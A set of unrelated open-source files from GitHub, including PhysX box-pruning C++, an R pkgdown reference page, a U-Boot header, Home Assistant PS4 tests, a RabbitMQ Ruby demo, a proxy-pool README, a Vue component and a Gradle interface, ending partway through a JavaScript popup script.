PxU32 Axis2 = axes.mAxis2; PX_UNUSED(Axis1); PX_UNUSED(Axis2); // Allocate some temporary data float* MinPosBounds0 = reinterpret_cast<float*>(PX_ALLOC_TEMP(sizeof(float)*nb0, "Gu::BipartiteBoxPruning")); float* MinPosBounds1 = reinterpret_cast<float*>(PX_ALLOC_TEMP(sizeof(float)*nb1, "Gu::BipartiteBoxPruning")); // 1) Build main lists using the primary axis for(PxU32 i=0;i<nb0;i++) MinPosBounds0[i] = bounds0[i].minimum[Axis0]; for(PxU32 i=0;i<nb1;i++) MinPosBounds1[i] = bounds1[i].minimum[Axis0]; // 2) Sort the lists //static RadixSort RS0, RS1; // Static for coherence. Crashes on exit RadixSortBuffered RS0, RS1; // Static for coherence. const PxU32* Sorted0 = RS0.Sort(MinPosBounds0, nb0).GetRanks(); const PxU32* Sorted1 = RS1.Sort(MinPosBounds1, nb1).GetRanks(); // 3) Prune the lists PxU32 Index0, Index1; const PxU32* const LastSorted0 = &Sorted0[nb0]; const PxU32* const LastSorted1 = &Sorted1[nb1]; const PxU32* RunningAddress0 = Sorted0; const PxU32* RunningAddress1 = Sorted1; while(RunningAddress1<LastSorted1 && Sorted0<LastSorted0) { Index0 = *Sorted0++; while(RunningAddress1<LastSorted1 && MinPosBounds1[*RunningAddress1]<MinPosBounds0[Index0]) RunningAddress1++; const PxU32* RunningAddress2_1 = RunningAddress1; while(RunningAddress2_1<LastSorted1 && MinPosBounds1[Index1 = *RunningAddress2_1++]<=bounds0[Index0].maximum[Axis0]) { if(bounds0[Index0].intersects(bounds1[Index1])) { pairs.pushBack(Index0); pairs.pushBack(Index1); } } } //// while(RunningAddress0<LastSorted0 && Sorted1<LastSorted1) { Index0 = *Sorted1++; while(RunningAddress0<LastSorted0 && MinPosBounds0[*RunningAddress0]<=MinPosBounds1[Index0]) RunningAddress0++; const PxU32* RunningAddress2_0 = RunningAddress0; while(RunningAddress2_0<LastSorted0 && MinPosBounds0[Index1 = *RunningAddress2_0++]<=bounds1[Index0].maximum[Axis0]) { if(bounds0[Index1].intersects(bounds1[Index0])) { pairs.pushBack(Index1); pairs.pushBack(Index0); } } } PX_FREE(MinPosBounds1); PX_FREE(MinPosBounds0); return true; } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /** * Complete box pruning. Returns a list of overlapping pairs of boxes, each box of the pair belongs to the same set. * \param bounds [in] list of boxes * \param nb [in] number of boxes * \param pairs [out] list of overlapping pairs * \param axes [in] projection order (0,2,1 is often best) * \return true if success. */ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// bool Cm::CompleteBoxPruning(const PxBounds3* bounds, PxU32 nb, Ps::Array<PxU32>& pairs, const Axes& axes) { pairs.clear(); // Checkings if(!nb) return false; // Catch axes const PxU32 Axis0 = axes.mAxis0; const PxU32 Axis1 = axes.mAxis1; const PxU32 Axis2 = axes.mAxis2; PX_UNUSED(Axis1); PX_UNUSED(Axis2); // Allocate some temporary data float* PosList = reinterpret_cast<float*>(PX_ALLOC_TEMP(sizeof(float)*nb, "Cm::CompleteBoxPruning")); // 1) Build main list using the primary axis for(PxU32 i=0;i<nb;i++) PosList[i] = bounds[i].minimum[Axis0]; // 2) Sort the list /*static*/ RadixSortBuffered RS; // Static for coherence const PxU32* Sorted = RS.Sort(PosList, nb).GetRanks(); // 3) Prune the list const PxU32* const LastSorted = &Sorted[nb]; const PxU32* RunningAddress = Sorted; PxU32 Index0, Index1; while(RunningAddress<LastSorted && Sorted<LastSorted) { Index0 = *Sorted++; while(RunningAddress<LastSorted && PosList[*RunningAddress++]<PosList[Index0]); const PxU32* RunningAddress2 = RunningAddress; while(RunningAddress2<LastSorted && PosList[Index1 = *RunningAddress2++]<=bounds[Index0].maximum[Axis0]) { if(Index0!=Index1) { if(bounds[Index0].intersects(bounds[Index1])) { pairs.pushBack(Index0); pairs.pushBack(Index1); } } } } PX_FREE(PosList); return true; }
{ "pile_set_name": "Github" }
<!-- Generated by pkgdown: do not edit by hand --> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Drill — Drill • sergeant</title> <!-- jquery --> <script src="https://code.jquery.com/jquery-3.1.0.min.js" integrity="sha384-nrOSfDHtoPMzJHjVTdCopGqIqeYETSXhZDFyniQ8ZHcVy08QesyHcnOUpMpqnmWq" crossorigin="anonymous"></script> <!-- Bootstrap --> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script> <!-- Font Awesome icons --> <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-T8Gy5hrqNKT+hzMclPo118YTQO6cYprQmhrYwIiQ/3axmI1hQomh7Ud2hPOy8SP1" crossorigin="anonymous"> <!-- clipboard.js --> <script src="https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/1.7.1/clipboard.min.js" integrity="sha384-cV+rhyOuRHc9Ub/91rihWcGmMmCXDeksTtCihMupQHSsi8GIIRDG0ThDc3HGQFJ3" crossorigin="anonymous"></script> <!-- sticky kit --> <script src="https://cdnjs.cloudflare.com/ajax/libs/sticky-kit/1.1.3/sticky-kit.min.js" integrity="sha256-c4Rlo1ZozqTPE2RLuvbusY3+SU1pQaJC0TjuhygMipw=" crossorigin="anonymous"></script> <!-- pkgdown --> <link href="../pkgdown.css" rel="stylesheet"> <script src="../pkgdown.js"></script> <meta property="og:title" content="Drill — Drill" /> <meta property="og:description" content="Drill Connect to Drill" /> <meta name="twitter:card" content="summary" /> <!-- mathjax --> <script src='https://mathjax.rstudio.com/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML'></script> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container template-reference-topic"> <header> <div class="navbar navbar-default navbar-fixed-top" role="navigation"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <span class="navbar-brand"> <a class="navbar-link" href="../index.html">sergeant</a> <span class="label label-default" data-toggle="tooltip" data-placement="bottom" title="Released package">0.7.0</span> </span> </div> <div id="navbar" class="navbar-collapse collapse"> <ul class="nav navbar-nav"> <li> <a href="../index.html"> <span class="fa fa-home fa-lg"></span> </a> </li> <li> <a href="../reference/index.html">Reference</a> </li> <li> <a href="../news/index.html">Changelog</a> </li> </ul> <ul class="nav navbar-nav navbar-right"> <li> <a href="https://github.com/hrbrmstr/sergeant"> <span class="fa fa-github fa-lg"></span> </a> </li> </ul> </div><!--/.nav-collapse --> </div><!--/.container --> </div><!--/.navbar --> </header> <div class="row"> <div class="col-md-9 contents"> <div class="page-header"> <h1>Drill</h1> <small class="dont-index">Source: <a href='https://github.com/hrbrmstr/sergeant/blob/master/R/dbi.r'><code>R/dbi.r</code></a></small> <div class="hidden name"><code>Drill.Rd</code></div> </div> <div class="ref-description"> <p>Drill</p> <p>Connect to Drill</p> </div> <pre class="usage"><span class='fu'>Drill</span>() <span class='co'># S4 method for DrillDriver</span> <span class='fu'>dbConnect</span>(<span class='no'>drv</span>, <span class='kw'>host</span> <span class='kw'>=</span> <span class='st'>"localhost"</span>, <span class='kw'>port</span> <span class='kw'>=</span> <span class='fl'>8047L</span>, <span class='kw'>ssl</span> <span class='kw'>=</span> <span class='fl'>FALSE</span>, <span class='kw'>username</span> <span class='kw'>=</span> <span class='kw'>NULL</span>, <span class='kw'>password</span> <span class='kw'>=</span> <span class='kw'>NULL</span>, <span class='no'>...</span>)</pre> <h2 class="hasAnchor" id="arguments"><a class="anchor" href="#arguments"></a>Arguments</h2> <table class="ref-arguments"> <colgroup><col class="name" /><col class="desc" /></colgroup> <tr> <th>drv</th> <td><p>An object created by <code>Drill()</code></p></td> </tr> <tr> <th>host</th> <td><p>host</p></td> </tr> <tr> <th>port</th> <td><p>port</p></td> </tr> <tr> <th>ssl</th> <td><p>use ssl?</p></td> </tr> <tr> <th>username, password</th> <td><p>credentials</p></td> </tr> <tr> <th>...</th> <td><p>Extra optional parameters</p></td> </tr> </table> <h2 class="hasAnchor" id="see-also"><a class="anchor" href="#see-also"></a>See also</h2> <div class='dont-index'><p>Other Drill REST DBI API: <code><a href='DrillConnection-class.html'>DrillConnection-class</a></code>, <code><a href='DrillDriver-class.html'>DrillDriver-class</a></code>, <code><a href='DrillResult-class.html'>DrillResult-class</a></code>, <code><a href='dbDataType-DrillConnection-method.html'>dbDataType,DrillConnection-method</a></code>, <code><a href='DrilDriver-class.html'>dbUnloadDriver,DrillDriver-method</a></code></p> <p>Other Drill REST DBI API: <code><a href='DrillConnection-class.html'>DrillConnection-class</a></code>, <code><a href='DrillDriver-class.html'>DrillDriver-class</a></code>, <code><a href='DrillResult-class.html'>DrillResult-class</a></code>, <code><a href='dbDataType-DrillConnection-method.html'>dbDataType,DrillConnection-method</a></code>, <code><a href='DrilDriver-class.html'>dbUnloadDriver,DrillDriver-method</a></code></p></div> </div> <div class="col-md-3 hidden-xs hidden-sm" id="sidebar"> <h2>Contents</h2> <ul class="nav nav-pills nav-stacked"> <li><a href="#arguments">Arguments</a></li> <li><a href="#see-also">See also</a></li> </ul> </div> </div> <footer> <div class="copyright"> <p>Developed by Bob Rudis.</p> </div> <div class="pkgdown"> <p>Site built with <a href="http://pkgdown.r-lib.org/">pkgdown</a>.</p> </div> </footer> </div> </body> </html>
{ "pile_set_name": "Github" }
/* * (C) Copyright 2002 * Sysgo Real-Time Solutions, GmbH <www.elinos.com> * Marius Groeger <[email protected]> * * (C) Copyright 2002 * Sysgo Real-Time Solutions, GmbH <www.elinos.com> * Alex Zuepke <[email protected]> * * See file CREDITS for list of people who contributed to this * project. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * MA 02111-1307 USA */ #ifndef _U_BOOT_ARM_H_ #define _U_BOOT_ARM_H_ 1 /* for the following variables, see start.S */ extern ulong _armboot_start; /* code start */ extern ulong _bss_start; /* code + data end == BSS start */ extern ulong _bss_end; /* BSS end */ extern ulong IRQ_STACK_START; /* top of IRQ stack */ extern ulong FIQ_STACK_START; /* top of FIQ stack */ /* cpu/.../cpu.c */ int cpu_init(void); int cleanup_before_linux(void); /* cpu/.../arch/cpu.c */ int arch_cpu_init(void); int arch_misc_init(void); /* board/.../... */ int board_init(void); int dram_init (void); void setup_serial_tag (struct tag **params); void setup_revision_tag (struct tag **params); /* ------------------------------------------------------------ */ /* Here is a list of some prototypes which are incompatible to */ /* the U-Boot implementation */ /* To be fixed! */ /* ------------------------------------------------------------ */ /* common/cmd_nvedit.c */ int setenv (char *, char *); /* cpu/.../interrupt.c */ int arch_interrupt_init (void); void reset_timer_masked (void); ulong get_timer_masked (void); void udelay_masked (unsigned long usec); /* cpu/.../timer.c */ int timer_init (void); #endif /* _U_BOOT_ARM_H_ */
{ "pile_set_name": "Github" }
"""Tests for the PS4 Integration.""" from homeassistant import config_entries, data_entry_flow from homeassistant.components import ps4 from homeassistant.components.media_player.const import ( ATTR_MEDIA_CONTENT_TYPE, ATTR_MEDIA_TITLE, MEDIA_TYPE_GAME, ) from homeassistant.components.ps4.const import ( ATTR_MEDIA_IMAGE_URL, COMMANDS, CONFIG_ENTRY_VERSION as VERSION, DEFAULT_REGION, DOMAIN, PS4_DATA, ) from homeassistant.const import ( ATTR_COMMAND, ATTR_ENTITY_ID, ATTR_LOCKED, CONF_HOST, CONF_NAME, CONF_REGION, CONF_TOKEN, ) from homeassistant.exceptions import HomeAssistantError from homeassistant.setup import async_setup_component from homeassistant.util import location from tests.async_mock import MagicMock, patch from tests.common import MockConfigEntry, mock_registry MOCK_HOST = "192.168.0.1" MOCK_NAME = "test_ps4" MOCK_REGION = "Some Region" MOCK_CREDS = "1234567890A" MOCK_DEVICE = {CONF_HOST: MOCK_HOST, CONF_NAME: MOCK_NAME, CONF_REGION: MOCK_REGION} MOCK_DATA = {CONF_TOKEN: MOCK_CREDS, "devices": [MOCK_DEVICE]} MOCK_FLOW_RESULT = { "version": VERSION, "handler": DOMAIN, "type": data_entry_flow.RESULT_TYPE_CREATE_ENTRY, "title": "test_ps4", "data": MOCK_DATA, } MOCK_ENTRY_ID = "SomeID" MOCK_CONFIG = MockConfigEntry(domain=DOMAIN, data=MOCK_DATA, entry_id=MOCK_ENTRY_ID) MOCK_LOCATION = location.LocationInfo( "0.0.0.0", "US", "United States", "CA", "California", "San Diego", "92122", "America/Los_Angeles", 32.8594, -117.2073, True, ) MOCK_DEVICE_VERSION_1 = { CONF_HOST: MOCK_HOST, CONF_NAME: MOCK_NAME, CONF_REGION: "Some Region", } MOCK_DATA_VERSION_1 = {CONF_TOKEN: MOCK_CREDS, "devices": [MOCK_DEVICE_VERSION_1]} MOCK_DEVICE_ID = "somedeviceid" MOCK_ENTRY_VERSION_1 = MockConfigEntry( domain=DOMAIN, data=MOCK_DATA_VERSION_1, entry_id=MOCK_ENTRY_ID, version=1 ) MOCK_UNIQUE_ID = "someuniqueid" MOCK_ID = "CUSA00123" MOCK_URL = "http://someurl.jpeg" MOCK_TITLE = "Some Title" MOCK_TYPE = MEDIA_TYPE_GAME MOCK_GAMES_DATA_OLD_STR_FORMAT = {"mock_id": "mock_title", "mock_id2": "mock_title2"} MOCK_GAMES_DATA = { ATTR_LOCKED: False, ATTR_MEDIA_CONTENT_TYPE: MEDIA_TYPE_GAME, ATTR_MEDIA_IMAGE_URL: MOCK_URL, ATTR_MEDIA_TITLE: MOCK_TITLE, } MOCK_GAMES_DATA_LOCKED = { ATTR_LOCKED: True, ATTR_MEDIA_CONTENT_TYPE: MEDIA_TYPE_GAME, ATTR_MEDIA_IMAGE_URL: MOCK_URL, ATTR_MEDIA_TITLE: MOCK_TITLE, } MOCK_GAMES = {MOCK_ID: MOCK_GAMES_DATA} MOCK_GAMES_LOCKED = {MOCK_ID: MOCK_GAMES_DATA_LOCKED} async def test_ps4_integration_setup(hass): """Test PS4 integration is setup.""" await ps4.async_setup(hass, {}) await hass.async_block_till_done() assert hass.data[PS4_DATA].protocol is not None async def test_creating_entry_sets_up_media_player(hass): """Test setting up PS4 loads the media player.""" mock_flow = "homeassistant.components.ps4.PlayStation4FlowHandler.async_step_user" with patch( "homeassistant.components.ps4.media_player.async_setup_entry", return_value=True, ) as mock_setup, patch(mock_flow, return_value=MOCK_FLOW_RESULT): result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY await hass.async_block_till_done() assert len(mock_setup.mock_calls) == 1 async def test_config_flow_entry_migrate(hass): """Test that config flow entry is migrated correctly.""" # Start with the config entry at Version 1. manager = hass.config_entries mock_entry = MOCK_ENTRY_VERSION_1 mock_entry.add_to_manager(manager) mock_e_registry = mock_registry(hass) mock_entity_id = f"media_player.ps4_{MOCK_UNIQUE_ID}" mock_e_entry = mock_e_registry.async_get_or_create( "media_player", "ps4", MOCK_UNIQUE_ID, config_entry=mock_entry, device_id=MOCK_DEVICE_ID, ) assert len(mock_e_registry.entities) == 1 assert mock_e_entry.entity_id == mock_entity_id assert mock_e_entry.unique_id == MOCK_UNIQUE_ID with patch( "homeassistant.util.location.async_detect_location_info", return_value=MOCK_LOCATION, ), patch( "homeassistant.helpers.entity_registry.async_get_registry", return_value=mock_e_registry, ): await ps4.async_migrate_entry(hass, mock_entry) await hass.async_block_till_done() assert len(mock_e_registry.entities) == 1 for entity in mock_e_registry.entities.values(): mock_entity = entity # Test that entity_id remains the same. assert mock_entity.entity_id == mock_entity_id assert mock_entity.device_id == MOCK_DEVICE_ID # Test that last four of credentials is appended to the unique_id. assert mock_entity.unique_id == "{}_{}".format(MOCK_UNIQUE_ID, MOCK_CREDS[-4:]) # Test that config entry is at the current version. assert mock_entry.version == VERSION assert mock_entry.data[CONF_TOKEN] == MOCK_CREDS assert mock_entry.data["devices"][0][CONF_HOST] == MOCK_HOST assert mock_entry.data["devices"][0][CONF_NAME] == MOCK_NAME assert mock_entry.data["devices"][0][CONF_REGION] == DEFAULT_REGION async def test_media_player_is_setup(hass): """Test media_player is setup correctly.""" await setup_mock_component(hass) assert len(hass.data[PS4_DATA].devices) == 1 async def setup_mock_component(hass): """Set up Mock Media Player.""" entry = MockConfigEntry(domain=ps4.DOMAIN, data=MOCK_DATA, version=VERSION) entry.add_to_manager(hass.config_entries) await async_setup_component(hass, DOMAIN, {DOMAIN: {}}) await hass.async_block_till_done() def test_games_reformat_to_dict(hass): """Test old data format is converted to new format.""" with patch( "homeassistant.components.ps4.load_json", return_value=MOCK_GAMES_DATA_OLD_STR_FORMAT, ), patch("homeassistant.components.ps4.save_json", side_effect=MagicMock()), patch( "os.path.isfile", return_value=True ): mock_games = ps4.load_games(hass, MOCK_ENTRY_ID) # New format is a nested dict. assert isinstance(mock_games, dict) assert mock_games["mock_id"][ATTR_MEDIA_TITLE] == "mock_title" assert mock_games["mock_id2"][ATTR_MEDIA_TITLE] == "mock_title2" for mock_game in mock_games: mock_data = mock_games[mock_game] assert isinstance(mock_data, dict) assert mock_data assert mock_data[ATTR_MEDIA_IMAGE_URL] is None assert mock_data[ATTR_LOCKED] is False assert mock_data[ATTR_MEDIA_CONTENT_TYPE] == MEDIA_TYPE_GAME def test_load_games(hass): """Test that games are loaded correctly.""" with patch( "homeassistant.components.ps4.load_json", return_value=MOCK_GAMES ), patch("homeassistant.components.ps4.save_json", side_effect=MagicMock()), patch( "os.path.isfile", return_value=True ): mock_games = ps4.load_games(hass, MOCK_ENTRY_ID) assert isinstance(mock_games, dict) mock_data = mock_games[MOCK_ID] assert isinstance(mock_data, dict) assert mock_data[ATTR_MEDIA_TITLE] == MOCK_TITLE assert mock_data[ATTR_MEDIA_IMAGE_URL] == MOCK_URL assert mock_data[ATTR_LOCKED] is False assert mock_data[ATTR_MEDIA_CONTENT_TYPE] == MEDIA_TYPE_GAME def test_loading_games_returns_dict(hass): """Test that loading games always returns a dict.""" with patch( "homeassistant.components.ps4.load_json", side_effect=HomeAssistantError ), patch("homeassistant.components.ps4.save_json", side_effect=MagicMock()), patch( "os.path.isfile", return_value=True ): mock_games = ps4.load_games(hass, MOCK_ENTRY_ID) assert isinstance(mock_games, dict) assert not mock_games with patch( "homeassistant.components.ps4.load_json", return_value="Some String" ), patch("homeassistant.components.ps4.save_json", side_effect=MagicMock()), patch( "os.path.isfile", return_value=True ): mock_games = ps4.load_games(hass, MOCK_ENTRY_ID) assert isinstance(mock_games, dict) assert not mock_games with patch("homeassistant.components.ps4.load_json", return_value=[]), patch( "homeassistant.components.ps4.save_json", side_effect=MagicMock() ), patch("os.path.isfile", return_value=True): mock_games = ps4.load_games(hass, MOCK_ENTRY_ID) assert isinstance(mock_games, dict) assert not mock_games async def test_send_command(hass): """Test send_command service.""" await setup_mock_component(hass) mock_func = "{}{}".format( "homeassistant.components.ps4", ".media_player.PS4Device.async_send_command" ) mock_devices = hass.data[PS4_DATA].devices assert len(mock_devices) == 1 mock_entity = mock_devices[0] assert mock_entity.entity_id == f"media_player.{MOCK_NAME}" # Test that all commands call service function. with patch(mock_func, return_value=True) as mock_service: for mock_command in COMMANDS: await hass.services.async_call( DOMAIN, "send_command", {ATTR_ENTITY_ID: mock_entity.entity_id, ATTR_COMMAND: mock_command}, ) await hass.async_block_till_done() assert len(mock_service.mock_calls) == len(COMMANDS)
{ "pile_set_name": "Github" }
#!/usr/bin/env ruby # encoding: utf-8 require "rubygems" require "bunny" puts "=> Demonstrating basic.nack" puts conn = Bunny.new conn.start ch = conn.create_channel q = ch.queue("", :exclusive => true) 20.times do q.publish("") end 20.times do delivery_info, _, _ = q.pop(:manual_ack => true) if delivery_info.delivery_tag == 20 # requeue them all at once with basic.nack ch.nack(delivery_info.delivery_tag, true, true) end end puts "Queue #{q.name} still has #{q.message_count} messages in it" sleep 0.7 puts "Disconnecting..." conn.close
{ "pile_set_name": "Github" }
<!-- - Copyright 2014-2018 the original author or authors. - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. --> <template> <table class="threads table is-fullwidth is-hoverable"> <thead> <tr> <th class="threads__thread-name">Name</th> <th class="threads__timeline"> <svg class="threads__scale" height="24px"/> </th> </tr> </thead> <tbody> <template v-for="thread in threadTimelines"> <tr class="is-selectable" :key="thread.threadId" @click="showDetails[thread.threadId] ? $delete(showDetails, thread.threadId) : $set(showDetails, thread.threadId, true)" > <td class="threads__thread-name"> <thread-tag :thread-state="thread.threadState"/> <span v-text="thread.threadName"/> </td> <td class="threads__timeline"> <svg :id="`thread-${thread.threadId}`" height="26px"/> </td> </tr> <tr :key="`${thread.threadId}-detail`" v-if="showDetails[thread.threadId]" > <td colspan="2"> <table class="threads__thread-details table is-narrow is-fullwidth has-background-white-ter"> <tr> <td>Thread Id</td> <td v-text="thread.threadId"/> </tr> <tr> <td>Thread name</td> <td v-text="thread.threadName"/> </tr> <tr> <td>Thread state</td> <td v-text="thread.threadState"/> </tr> <template v-if="thread.details !== null"> <tr> <td>Blocked count</td> <td v-text="thread.details.blockedCount"/> </tr> <tr> <td>Blocked time</td> <td v-text="thread.details.blockedTime"/> </tr> <tr> <td>Waited count</td> <td v-text="thread.details.waitedCount"/> </tr> <tr> <td>Waited time</td> <td v-text="thread.details.waitedTime"/> </tr> <tr> <td>Lock name</td> <td v-text="thread.details.lockName"/> </tr> <tr> <td>Lock owner id</td> <td v-text="thread.details.lockOwnerId"/> </tr> <tr> <td>Lock owner name</td> <td v-text="thread.details.lockOwnerName"/> </tr> <tr v-if="thread.details.stackTrace.length > 0"> <td colspan="2">Stacktrace <pre class="threads__thread-stacktrace"><template v-for="(frame, idx) in thread.details.stackTrace" ><span :key="`frame-${thread.threadId}-${idx}`" v-text="`${frame.className}.${frame.methodName}(${frame.fileName}:${frame.lineNumber})`" /> <span :key="`frame-${thread.threadId}-${idx}-native`" class="tag is-dark" v-if="frame.nativeMethod" >native</span> </template></pre> </td> </tr> </template> </table> </td> </tr> </template> </tbody> </table> </template> <script> import d3 from '@/utils/d3'; import moment from 'moment'; import threadTag from './thread-tag'; const maxPixelsPerSeconds = 15; export default { props: { threadTimelines: { type: Object, required: true } }, data: () => ({ showDetails: {}, lastEndPosition: 0 }), // eslint-disable-next-line vue/no-unused-components components: {threadTag}, watch: { threadTimelines: { deep: true, handler: 'drawTimelines', immediate: true } }, methods: { getTimeExtent(timelines) { return Object.entries(timelines).map(([, value]) => value.timeline) .map(timeline => ({ start: timeline[0].start, end: timeline[timeline.length - 1].end })) .reduce((current, next) => ({ start: Math.min(current.start, next.start), end: Math.max(current.end, next.end) }), {start: Number.MAX_SAFE_INTEGER, end: Number.MIN_SAFE_INTEGER}); }, async drawTimelines(timelines) { if (timelines) { const wasInView = this.isInView(this.lastEndPosition); await this.$nextTick(); const {start, end} = this.getTimeExtent(timelines); const width = this.$el.querySelector('.threads__timeline').getBoundingClientRect().width; const totalSeconds = Math.floor(width / maxPixelsPerSeconds); const x = d3.scaleTime() .range([0, width]) .domain([start, Math.max(start + (totalSeconds + 1) * 1000, end)]); d3.select('.threads__scale') .attr('width', width) .call(d3.axisBottom(x) .ticks(Math.max(2, Math.floor(width / 50))) .tickFormat(d => moment(d).format('HH:mm:ss')) ); Object.entries(timelines).forEach(([threadId, value]) => { const svg = d3.select(`#thread-${threadId}`).attr('width', width); const d = svg.selectAll('rect').data(value.timeline); d.enter() .append('rect') .merge(d) .attr('class', d => `thread--${d.threadState.toLowerCase()}`) .attr('height', '2em') .attr('x', d => x(d.start)) .transition(150) .attr('width', d => Math.max(x(d.end) - x(d.start), x(d.start + 500) - x(d.start))) }); this.lastEndPosition = x(end); if (wasInView && !this.isInView(this.lastEndPosition)) { const scrollable = this.$el; scrollable.scroll(this.lastEndPosition, scrollable.scrollHeight); } } }, isInView(xPos) { const scrollable = this.$el; return scrollable && xPos >= scrollable.scrollLeft && xPos <= (scrollable.scrollLeft + scrollable.clientWidth); } } } </script> <style lang="scss"> @import "~@/assets/css/utilities"; .threads { table-layout: fixed; &__thread-name { width: 250px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } &__thread-details { table-layout: fixed; & td:first-child:not(.threads__thread-stacktrace) { width: 20%; } } &__thread-stacktrace { overflow: auto; max-height: 300px; } &__timeline { width: auto; overflow: hidden; text-overflow: ellipsis; padding-left: 0 !important; padding-right: 0 !important; & svg { display: block; //prevent margin bottom on svg } } &__scale { & .domain { display: none; } } } .thread { &--runnable { fill: $success; } &--timed_waiting, &--waiting { fill: $warning; } &--blocked { fill: $danger; } } </style>
{ "pile_set_name": "Github" }
# ADSL拨号服务器代理设置 更优的选择:https://github.com/Python3WebSpider/AdslProxy ## 服务端 服务端即远程主机 ### 安装Python Python3版本 ### 安装库 ``` pip3 install redis tornado ``` ### Clone项目 ``` git clone https://github.com/Germey/ADSLProxyPool.git ``` ### 安装Redis 安装Redis并启动服务 ### 修改配置 ``` cd server vi config.py ``` 根据注释修改配置文件 ### 运行 根目录运行 ``` python3 server.py ``` ## 客户端 客户端即拨号主机 ### 安装Python Python3版本 ### 安装库 ``` pip3 install requests ``` ### Clone项目 ``` git clone https://github.com/Germey/ADSLProxyPool.git ``` ### 修改配置 ``` cd server vi config.py ``` 根据注释修改配置文件 ### 运行 根目录运行 ``` python3 client.py ```
{ "pile_set_name": "Github" }
/* * Copyright 2012 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.nativebinaries.toolchain.internal; import org.gradle.nativebinaries.internal.BinaryToolSpec; import java.io.File; import java.util.Collection; import java.util.List; import java.util.Map; /** * A compile spec that will be used to generate object files for combining into a native binary. */ public interface NativeCompileSpec extends BinaryToolSpec { File getObjectFileDir(); void setObjectFileDir(File objectFileDir); List<File> getIncludeRoots(); void include(Iterable<File> includeRoots); void include(File... includeRoots); List<File> getSourceFiles(); void setSourceFiles(Collection<File> sources); void source(Iterable<File> sources); List<File> getRemovedSourceFiles(); void setRemovedSourceFiles(Collection<File> sources); void removedSource(Iterable<File> sources); Map<String, String> getMacros(); void setMacros(Map<String, String> macros); void define(String name); void define(String name, String value); boolean isPositionIndependentCode(); void setPositionIndependentCode(boolean flag); }
{ "pile_set_name": "Github" }
(function ($, _, fwEvents, window) { var popup = function () { var $this = $(this), $defaultItem = $this.find('.item.default'), nodes = { $optionWrapper: $this, $itemsWrapper: $this.find('.items-wrapper'), $disabledItem: $defaultItem.clone().removeClass('default').addClass('disabled'), getDefaultItem: function () { return $defaultItem.clone().removeClass('default'); } }, data = JSON.parse(nodes.$optionWrapper.attr('data-for-js')), utils = { modal: new fw.OptionsModal({ title: data.title, options: data.options, size : data.size }), editItem: function (item, values) { var $input = item.find('input'), val = $input.val(); $input.val( values = JSON.stringify( values ) ); if (val != values) { $this.trigger('fw:option-type:popup:change'); $input.trigger('change'); } } }; nodes.$itemsWrapper.on('click', '.item > .button', function (e) { e.preventDefault(); var values = {}, $item = $(this).closest('.item'), $input = $item.find('input'); if ($input.length && $input.val().length ) { values = JSON.parse($input.val()); } utils.modal.set('edit', true); utils.modal.set('values', values, {silent: true}); utils.modal.set('itemRef', $item); utils.modal.open(); }); utils.modal.on({ 'change:values': function (modal, values) { utils.editItem(utils.modal.get('itemRef'), values); fw.options.trigger.changeForEl(utils.modal.get('itemRef'), { value: values }); fwEvents.trigger('fw:option-type:popup:change', { element: $this, values: values }); }, 'open': function () { $this.trigger('fw:option-type:popup:open'); if (data['custom-events']['open']) { fwEvents.trigger('fw:option-type:popup:custom:' + data['custom-events']['open'], { element: $this, modal: utils.modal }); } }, 'close': function () { $this.trigger('fw:option-type:popup:close'); if (data['custom-events']['close']) { fwEvents.trigger('fw:option-type:popup:custom:' + data['custom-events']['close'], { element: $this, modal: utils.modal }); } }, 'render': function () { $this.trigger('fw:option-type:popup:render'); if (data['custom-events']['render']) { fwEvents.trigger('fw:option-type:popup:custom:' + data['custom-events']['render'], { element: $this, modal: utils.modal }); } } }); }; fwEvents.on('fw:options:init', function (data) 